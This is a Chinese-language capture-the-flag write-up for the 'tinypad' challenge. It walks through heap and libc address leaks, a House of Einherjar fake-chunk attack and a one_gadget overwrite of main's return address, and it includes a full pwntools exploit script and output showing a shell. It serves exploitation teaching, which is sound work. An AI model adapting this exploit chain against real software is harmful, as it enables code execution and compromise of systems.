tinypad - house_of_einherjar

TOC

  1. 1. 前言
  2. 2. 思路
  3. 3. House Of Einherjar准备
  4. 4. 劫持程序流

前言

考察对 House Of Einherjar 漏洞的用法。以及UAF。

鄙人使用的是自己编译的glibc-2.19,下面的有些地址是需要自行计算的.

思路

  1. 泄露heap基地址
  2. 泄露libc基地址
  3. House Of Einherjar漏洞
  4. One gadget拿shell

泄露heap基地址

由于源程序在做删除操作的时候,不会将指针置NULL,所以下一次就会打印出其 malloc_chunk->fd 上的值。

# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8) # index 1
add(0x70, 'b' * 8) # index 2
add(0x100, 'c' * 8) # index 3

delete(2) # delete index 2

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))

泄露libc基地址

原理和上面一样的.

# 2. leak libc base address
add(0x200, '')
add(0x200, '')

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8

main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))

libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))

# clear
delete(2)
delete(3)

不同的glibc,main_area_88 的偏移各有不同,算偏移的具体做法:

pwndbg> heap
0x9ec000 FASTBIN {
prev_size = 0,
size = 129,
fd = 0x9ec080,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec080 FASTBIN {
prev_size = 0,
size = 129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec100 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x6363636363636363,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec210 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x7ff59d65fbb8 <main_arena+88>,
bk = 0x7ff59d65fbb8 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec320 {
prev_size = 272,
size = 272,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x9ec430 PREV_INUSE {
prev_size = 0,
size = 134097,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /home/ex/test/tinypad
0x601000 0x602000 r--p 1000 1000 /home/ex/test/tinypad
0x602000 0x603000 rw-p 1000 2000 /home/ex/test/tinypad
0x9ec000 0xa0d000 rw-p 21000 0 [heap]
0x7ff59d2c3000 0x7ff59d45b000 r-xp 198000 0 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d45b000 0x7ff59d65b000 ---p 200000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d65b000 0x7ff59d65f000 r--p 4000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d65f000 0x7ff59d661000 rw-p 2000 19c000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
0x7ff59d661000 0x7ff59d665000 rw-p 4000 0
0x7ff59d665000 0x7ff59d685000 r-xp 20000 0 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d87e000 0x7ff59d881000 rw-p 3000 0
0x7ff59d883000 0x7ff59d884000 rw-p 1000 0
0x7ff59d884000 0x7ff59d885000 r--p 1000 1f000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d885000 0x7ff59d886000 rw-p 1000 20000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
0x7ff59d886000 0x7ff59d887000 rw-p 1000 0
0x7ffcd5774000 0x7ffcd5795000 rw-p 21000 0 [stack]
0x7ffcd57f7000 0x7ffcd57f9000 r--p 2000 0 [vvar]
0x7ffcd57f9000 0x7ffcd57fb000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7ff59d65fbb8-0x7ff59d2c3000
$1 = 0x39cbb8
pwndbg>

House Of Einherjar准备

具体做法如下:

  1. 准备环境
  2. 修改inuse标志
  3. 进行 \x00 填充
  4. 修改 prev_size
  5. 构造fake_chunk
  6. 劫持main返回地址

准备环境

事先要准备好填充的数量.

add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20)) # index 3
add(0x100, 'c' * (0x100)) # index 4

修改inuse标志

用的是strcpy的\x00截断实现的.

# 修改inuse标志
edit(1,'a'*24)

进行 \x00 填充

因为strcpy的时候会有\x00截断,所以对于高字节的\x00,只能一步一步来修改.

size = (heap_index_2 - fakechunk_addr)

log.info("Size: "+hex(size))

# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))

# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
edit(1,'a'*(24 - 1 -i))

修改 prev_size

因为heap在使用状态下,prev_size 的空间是可以给前一个chunk使用的,所以它的值可以由前一个chunk更改.

# 修改prev_size
edit(1,'a'*16 + p64(size))

构造fake_chunk

下面就是直接构造的假chunk,而index在构造环境的时候需要确定能容下所有字节.

# fake_chunk
layout = [
p64(0x0), # fake_chunk->prev_size
p64(0x100 + 0x1), # fake_chunk->size
p64(fakechunk_addr), # fake_chunk->fd
p64(fakechunk_addr) # fake_chunk->bk
# 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]

# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))

House Of Einherjar

前面已经准备好了,所以这里直接使用该漏洞,将fake_chunk->fd和fake_chunk->bk设置为main_area_88,主要是为了能把该chunk从heap里面拿出来,要不然过不了检查.

# House Of Einherjar漏洞
delete(2)

# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))

劫持程序流

具体做法如下:

  1. 计算environ pointer地址
  2. 构造一个方便读写的环境
  3. 劫持main返回地址
  4. getshell

计算environ pointer地址

直接用泄露的基地址计算就行.

environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))

构造一个方便读写的环境

# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)

add(0x100 - 8, fake_pad) # index 2

劫持main返回地址

# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret

environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))



# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))

# constraints:
# [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))

environ_addr 和 main_ret_addr 的偏移需要自行计算,方法如下:

pwndbg> stack
00:0000│ rsp 0x7ffef44eaf98 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax
01:0008│ 0x7ffef44eafa0 —▸ 0x7ffef44eb033 ◂— 0x40083200007ffef4
02:0010│ 0x7ffef44eafa8 ◂— 0x1
03:0018│ 0x7ffef44eafb0 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
04:0020│ 0x7ffef44eafb8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax
05:0028│ 0x7ffef44eafc0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */
06:0030│ 0x7ffef44eafc8 ◂— 0x0
07:0038│ 0x7ffef44eafd0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
pwndbg>
08:0040│ 0x7ffef44eafd8 ◂— 0xa5c048c5caa4ab00
09:0048│ rbp 0x7ffef44eafe0 —▸ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— ...
0a:0050│ 0x7ffef44eafe8 —▸ 0x401100 (read_until+73) ◂— mov qword ptr [rbp - 0x10], rax
0b:0058│ 0x7ffef44eaff0 ◂— 9 /* '\t' */
0c:0060│ 0x7ffef44eaff8 ◂— 0xacaa4ab00
0d:0068│ 0x7ffef44eb000 ◂— 0x1
0e:0070│ 0x7ffef44eb008 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
0f:0078│ 0x7ffef44eb010 ◂— 9 /* '\t' */
pwndbg>
10:0080│ 0x7ffef44eb018 ◂— 0x0
11:0088│ 0x7ffef44eb020 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
12:0090│ 0x7ffef44eb028 ◂— 0xa5c048c5caa4ab00
13:0098│ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
14:00a0│ 0x7ffef44eb038 —▸ 0x400832 (getcmd+92) ◂— mov esi, 1
15:00a8│ rsi-4 0x7ffef44eb040 ◂— 0x2
16:00b0│ 0x7ffef44eb048 ◂— 0xa5c048c5caa4ab00
17:00b8│ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
pwndbg>
18:00c0│ 0x7ffef44eb058 —▸ 0x4009c1 (main+350) ◂— mov dword ptr [rbp - 0x10], eax
19:00c8│ 0x7ffef44eb060 ◂— 0x3400401370
1a:00d0│ 0x7ffef44eb068 ◂— 0x4
1b:00d8│ 0x7ffef44eb070 ◂— 0xf800000000
1c:00e0│ 0x7ffef44eb078 ◂— 0xa5c048c5caa4ab00
1d:00e8│ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15
1e:00f0│ 0x7ffef44eb088 —▸ 0x7f48d89e27d5 (__libc_start_main+385) ◂— jmp 0x7f48d89e2820
1f:00f8│ 0x7ffef44eb090 —▸ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
pwndbg>
20:0100│ 0x7ffef44eb098 —▸ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
21:0108│ 0x7ffef44eb0a0 ◂— 0x1d8d5b760
22:0110│ 0x7ffef44eb0a8 —▸ 0x400863 (main) ◂— push rbp
23:0118│ 0x7ffef44eb0b0 ◂— 0x0
24:0120│ 0x7ffef44eb0b8 ◂— 0xac9964160561fbe2
25:0128│ 0x7ffef44eb0c0 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp
26:0130│ 0x7ffef44eb0c8 ◂— 0x0
... ↓
pwndbg>
28:0140│ 0x7ffef44eb0d8 ◂— 0x0
29:0148│ 0x7ffef44eb0e0 ◂— 0x53648c0b42a1fbe2
2a:0150│ 0x7ffef44eb0e8 ◂— 0x5208d5aa6c9bfbe2
2b:0158│ 0x7ffef44eb0f0 ◂— 0x7ffe00000000
2c:0160│ 0x7ffef44eb0f8 ◂— 0x0
... ↓
2e:0170│ 0x7ffef44eb108 —▸ 0x7f48d8d7354d (_dl_init_internal+229) ◂— mov eax, r14d
2f:0178│ 0x7ffef44eb110 ◂— 0x0
pwndbg>
30:0180│ 0x7ffef44eb118 ◂— 0x0
... ↓
33:0198│ 0x7ffef44eb130 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp
34:01a0│ 0x7ffef44eb138 —▸ 0x7ffef44eb160 ◂— 0x1
35:01a8│ 0x7ffef44eb140 ◂— 0x0
36:01b0│ 0x7ffef44eb148 —▸ 0x40070a (_start+42) ◂— hlt
37:01b8│ 0x7ffef44eb150 —▸ 0x7ffef44eb158 ◂— 0x0
pwndbg>
38:01c0│ 0x7ffef44eb158 ◂— 0x0
39:01c8│ 0x7ffef44eb160 ◂— 0x1
3a:01d0│ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
3b:01d8│ 0x7ffef44eb170 ◂— 0x0
3c:01e0│ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
3d:01e8│ 0x7ffef44eb180 —▸ 0x7ffef44ec79e ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
3e:01f0│ 0x7ffef44eb188 —▸ 0x7ffef44ec7be ◂— 'SSH_CLIENT=192.168.3.1 57226 22'
3f:01f8│ 0x7ffef44eb190 —▸ 0x7ffef44ec7de ◂— 'LOGNAME=ex'
pwndbg> p/x 0x7ffef44eb178-0x7ffef44eb088
$1 = 0xf0
pwndbg>

也就是计算上面3c:01e0和1e:00f0的偏移,不同环境,可能值不同.

getshell

退出即可.

# 退出,getshell
sh.sendline('Q')

sh.interactive()

这里用的one gadget情况如下:

ex@ubuntu:~/test$ one_gadget /home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6
0x3ce7f execve("/bin/sh", rsp+0x20, environ)
constraints:
[rsp+0x20] == NULL

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import math

sh = process('./tinypad')
elf = ELF('./tinypad')
libc = ELF('/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

tinypad = 0x602040


def add(size, content):
sh.sendline('A')
sh.recvuntil('(SIZE)>>> ')
sh.sendline(str(size))
sh.recvuntil('(CONTENT)>>> ')
sh.sendline(content)
sh.recvuntil('(CMD)>>> ')


def delete(index):
sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(index))
sh.recvuntil('(CMD)>>> ')


def edit(index, content):
sh.sendline('E')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(index))
sh.recvuntil('CONTENT: ')
ret = sh.recvuntil('\n(CONTENT)>>> ')
sh.sendline(content)
sh.recvuntil('(Y/n)>>> ')
sh.sendline('Y')
sh.recvuntil('(CMD)>>> ')
return ret


sh.recvuntil('(CMD)>>> ')

# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8) # index 1
add(0x70, 'b' * 8) # index 2
add(0x100, 'c' * 8) # index 3

delete(2) # delete index 2

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))

# 2. leak libc base address
add(0x200, '')
add(0x200, '')

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8

main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))

libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))

# clear
delete(2)
delete(3)

# 3. House Of Einherjar 修改inuse标志
add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20)) # index 3
add(0x100, 'c' * (0x100)) # index 4

fakechunk_addr = tinypad + 0x20

# 修改inuse标志
edit(1,'a'*24)

# 第二个索引的地址,第一个heap大小是0x20
heap_index_2 = heap_base_addr + 0x20

size = (heap_index_2 - fakechunk_addr)

log.info("Size: "+hex(size))

# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))

# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
edit(1,'a'*(24 - 1 -i))

# 修改prev_size
edit(1,'a'*16 + p64(size))

# fake_chunk
layout = [
p64(0x0), # fake_chunk->prev_size
p64(0x100 + 0x1), # fake_chunk->size
p64(fakechunk_addr), # fake_chunk->fd
p64(fakechunk_addr) # fake_chunk->bk
# 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]

# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))

# House Of Einherjar漏洞
delete(2)

# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))

# # 劫持__free_hook
# add(0x100 - 8,'a' * (0x100 - 0x20) + p64(32) + p64(__free_hook))

# add(24,'a'*24) # index 2
# add(0x0000000001ffb0e0 - 8,'a'* (0x100 + 0x40)) # index 4

environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))

# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)

add(0x100 - 8, fake_pad) # index 2

sh.sendline()

# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret

environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))


# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))

# constraints:
# [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))

# 退出,getshell
sh.sendline('Q')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

结果如下:

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './tinypad': pid 46231
[*] '/home/ex/test/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] heap_base_addr: 0xfaf000
[*] main_area_88: 0x7f81f2639bb8
[+] libc_base_addr: 0x7f81f229d000
[*] Size: 0x9acfc0
[*] environ pointer addr: 0x7f81f263c018
[+] environ_addr: 0x7fff834f6218
[+] main_ret_addr: 0x7fff834f6128
[+] one_gadget_addr: 0x7f81f22d9e7f
[*] Switching to interactive mode

$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

总结

这题比较坑人了,原本打算劫持got表的,却发现是full relro保护,然后计划打算劫持__free_hook,但是,由于程序本身有\0的长度限制,也不能修改.所以只能,修改main函数的地址为返回地址了.原本还想修改main函数的地址为返回地址为system函数,然后把参数设置为/bin/sh,但是放参数的地方刚好就是stack guard,所以不能修改,总之多尝试,总会有收获的